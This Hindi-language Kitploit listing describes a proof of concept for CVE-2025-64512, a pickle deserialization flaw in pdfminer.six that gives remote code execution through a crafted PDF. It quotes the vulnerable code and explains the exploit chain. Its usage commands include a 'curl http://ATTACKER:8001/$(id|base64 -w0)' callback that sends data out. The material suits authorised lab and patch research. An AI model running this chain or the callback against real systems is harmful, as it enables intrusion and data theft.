Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-64512-pdfminer-PoC — CVE-2025-64512 के लिए PoC: pdfminer.six CMapDB pickle deserialization RCE, विशेष रूप से तैयार किए गए PDF के माध्यम से | Kitploit
उपकरण/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

CVE-2025-64512 के लिए PoC: pdfminer.six CMapDB pickle deserialization RCE, विशेष रूप से तैयार किए गए PDF के माध्यम से

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
225 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2025-64512 — pdfminer.six CMapDB डिसीरियलाइज़ेशन PoC

pdfminer.six में एक डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट जो किसी क्राफ्ट किए गए PDF को पार्स करते समय मनमाना कोड निष्पादन की ओर ले जाता है।

उद्देश्य / कानूनी अस्वीकरण यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान की गई है। यह एक सार्वजनिक रूप से प्रकट, पैच किए गए CVE को पुनरुत्पादित करती है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। इच्छित वातावरण: Hack The Box / VulnHub / स्थानीय लैब।

भेद्यता

  • CVE: CVE-2025-64512
  • प्रभावित: pdfminer.six 20250506 से पहले
  • पैच: 20250506
  • अविश्वसनीय डेटा का डिसीरियलाइज़ेशन (CWE-502)
प्रकार:

cmapdb.py में, CMapDB._load_data() एक CMap फ़ाइल पढ़ता है जिसका नाम PDF फ़ॉन्ट की /Encoding प्रविष्टि से प्राप्त होता है और सामग्री को pickle.loads() में भेजता है:

root@kitploit:~
def _load_data(cls, name):
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()
    raise CMapDB.CMapNotFound(name)

तीन गुण मिलकर इसे शोषण योग्य बनाते हैं:

  1. pickle.loads() आक्रमणकारी-नियंत्रित डेटा पर -> मनमाना कोड निष्पादन।
  2. चूँकि फ़ाइल नाम पूर्ण है, os.path.join() खोज निर्देशिका को छोड़ देता है और फ़ाइल को उसी सटीक पथ पर खोलता है।
  3. .pickle.gz स्वचालित रूप से जोड़ा जाता है, इसलिए पथ बिना एक्सटेंशन के दिया जाता है।

एक्सप्लॉइट श्रृंखला

एक्सप्लॉइट के लिए भेद्य वेब ऐप पर दो फ़ाइलें अपलोड करनी होती हैं:

  1. payload.pickle.gz — एक gzip-संपीड़ित पिकल जिसका __reduce__ एक कमांड निष्पादित करता है और CMap-आकार का dict लौटाता है (ताकि पेलोड चलने के बाद पार्सिंग सुचारू रूप से जारी रहे)।
  2. trigger.pdf — एक न्यूनतम PDF जो Type0/CIDFont का उपयोग करता है जिसका फ़ॉन्ट /Encoding पिकल के पूर्ण पथ की ओर इंगित करता है (बिना एक्सटेंशन)।

PDF-स्तर के दो विवरण महत्वपूर्ण हैं:

  • CMapDB.get_cmap() केवल CIDFont (एक Type0 फ़ॉन्ट जिसमें DescendantFonts प्रविष्टि होती है) के माध्यम से पहुँचा जाता है, न कि साधारण Type1 फ़ॉन्ट से।
  • PDF नाम टोकन एक / सीमांकक के साथ शुरू होता है, इसलिए एन्कोडेड पथ को पूर्ण पथ के अग्रणी स्लैश को संरक्षित करने के लिए #2f से शुरू होना चाहिए। आंतरिक स्लैश भी #2f होते हैं क्योंकि / एक नाम सीमांकक है।

जब लक्ष्य PDF पार्स करता है (जैसे pdf2txt.py को कॉल करने वाला पृष्ठभूमि वॉचर), CMapDB._load_data() पिकल खोलता है और कमांड निष्पादित करता है।

उपयोग

root@kitploit:~
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz

# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf

# 3. Upload both files to the vulnerable PDF upload form, then wait for
#    the processing watcher to pick up trigger.pdf

pdfminer.six 20250416 (भेद्य) के विरुद्ध एंड-टू-एंड सत्यापित: pdf2txt.py trigger.pdf चलाने पर पेलोड कमांड निष्पादित होता है और 0 के साथ बाहर निकलता है।

पेलोड कमांड ब्लाइंड है; कॉलबैक के माध्यम से डेटा निकालें, उदाहरण के लिए:

root@kitploit:~
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz

फ़ाइलें

फ़ाइलउद्देश्य
make_payload.pyदुर्भावनापूर्ण payload.pickle.gz उत्पन्न करता है
make_trigger_pdf.pyसही xref ऑफ़सेट के साथ /Encoding ट्रिगर PDF उत्पन्न करता है

संदर्भ

  • CVE-2025-64512 (NVD)
  • pdfminer.six चेंजलॉग / 20250506 के लिए फिक्स कमिट
  • Hack The Box मशीन Bedside (अधिकृत लैब पुनरुत्पादन)
टूल डाउनलोड करें